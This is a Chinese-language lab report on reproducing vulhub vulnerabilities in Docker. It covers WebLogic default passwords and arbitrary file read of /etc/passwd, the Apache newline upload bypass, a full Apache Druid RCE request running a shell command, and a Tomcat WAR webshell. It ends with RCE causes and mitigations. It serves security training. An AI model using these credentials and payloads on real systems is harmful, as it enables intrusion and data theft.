目录
(一)在vps安装docker和docker-compose
一、要求
1.在vps安装docker和docker-compose
2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
3. 总结RCE漏洞的原理和利用条件及解决方案
二、内容与步骤记录
(一)在vps安装docker和docker-compose
1.docker
2.docker-compose
(二)vulhub的漏洞复现与漏洞成因说明
1.weblogic 弱口令/任意文件读取
(1)启动靶场环境后,通过http://<IP>:7001/console/login/LoginForm.jsp来进行靶场访问
*Weblogic常用的弱口令密码有如下几种:
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
这里使用了weblogic:Oracle@123的密码成功爆破弱口令进入后台管理界面
(2)任意文件读取漏洞
访问http://<IP>:7001/hello/file.jsp?path=路径,用/etc/passwd或/etc/profile等系统用户配置文件测试是否存在任意文件读取
成功读取passwd文件,因此存在任意文件下载
2.apache 换行解析/druid RCE
换行解析
(1)该漏洞处于CVE-2017-15715文件夹,安装好环境,访问靶机地址:http:<ip>:8080看到以下页面
(2)尝试提交,失败
(3)利用Burpsuite抓取上传文件的数据包。
(4)选择 16 进制格式,然后插入换行符 0a
(5)然后将数据包放行,成功上传,访问http:192.168.13.128:8080/evil.php%0a,发现上传文件已经被解析成功。
druid RCE
(1)安装好环境,访问靶机地址:http:<ip>:8080
(2)点击Load data ,Local disk,设置
Base directory: quickstart/tutorial/
File filter: wikiticker-2015-09-12-sampled.json.gz
(3)打开burpsuite进行抓包,然后点击Apply,修改POST请求包
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
(4)得到响应,服务器执行id命令
3.tomcat 弱口令/后台文件上传getshell
(1)配置好环境,进入靶场
(2)使用用户名和密码tomcat登入
(3)准备一个jsp木马,将准备好的木马压缩然后修改后缀为war包
部署war包到Tomcat Web应用程序管理者
访问无报错,上传成功
使用冰蝎进行连接
访问查看到了所有文件,复现成功
(三)总结RCE漏洞的原理和利用条件及解决方案
RCE(Remote Code Execution,远程代码执行)漏洞是一种高危安全漏洞,允许攻击者在受害系统上远程执行任意代码。其原理是应用程序接受并处理了未经充分验证或未被信任的用户输入,导致攻击者可以在目标系统上执行任意代码。
1.产生原因:
(1)输入验证不充分:系统未能对用户输入进行严格验证,导致恶意输入被直接处理或执行。
(2)不安全的代码执行方式:应用程序直接调用系统命令或解释器(如PHP、Python、Shell)处理用户输入,而没有进行适当的安全防护。
(3)反序列化漏洞:应用程序处理未受信任的数据时,错误地反序列化恶意输入,导致执行任意代码。
(4)依赖外部服务:当应用程序依赖外部服务,若这些服务存在漏洞,也可能导致RCE。
(5)命令注入:攻击者通过注入系统命令(如Shell命令)到未正确过滤的输入中,从而执行恶意代码。
2.RCE漏洞的利用条件
(1)存在可远程调用的执行入口:
应用程序接受用户输入,并且该输入能够直接或间接地传递到代码执行环境,如Shell、Python解释器、PHP执行环境等。
(2)输入未正确验证或过滤:
输入没有经过严格的过滤或验证,导致攻击者能够通过注入恶意代码触发远程执行。
(3)具备适当的权限:
攻击者能够与易受攻击的系统交互,并且有能力触发执行过程(如通过web接口、API或其他通信通道)。
(4)系统具有可执行权限:
目标系统上的程序或服务具有执行用户输入命令或代码的权限。如果应用程序是以较高权限(如root用户)运行的,攻击的破坏性将更大。
3.RCE漏洞的利用过程
(1)信息收集:通过扫描和分析,识别出应用中可能的RCE漏洞点(如命令注入点、文件上传功能、输入框等)。
(2)构造恶意输入:根据漏洞类型,构造可以执行远程代码的恶意输入。例如,命令注入漏洞可能会使用‘ ; ’ ‘ 、’‘ && ’等符号分隔多个命令。
(3)发送攻击请求:将恶意输入发送到目标系统,通常通过HTTP请求、API调用或其他通信方式。
(4)远程代码执行:如果漏洞被成功利用,攻击者可以在目标系统上远程执行代码,通常可以获取系统权限,进而控制系统。
4.解决方案
(1)严格的输入验证:
- 使用白名单模式验证用户输入,只允许预期的输入数据格式。
- 使用专门的输入过滤函数或框架,对用户输入进行彻底过滤或清理。
(2)避免动态执行代码:
- 避免直接通过 eval()、exec()、system()、popen() 等函数执行用户输入,尽量使用安全的编程模式和库。
- 使用参数化查询或准备好的SQL语句来防止命令注入。
(3)最小化权限:
- 运行应用程序的进程应使用最小权限的用户,避免使用root等高权限用户。
- 控制执行命令的权限,避免普通用户执行敏感操作。
(4)使用沙箱技术:
在隔离的环境(如Docker、虚拟机、容器等)中执行潜在的不可信代码,防止攻击者影响主系统。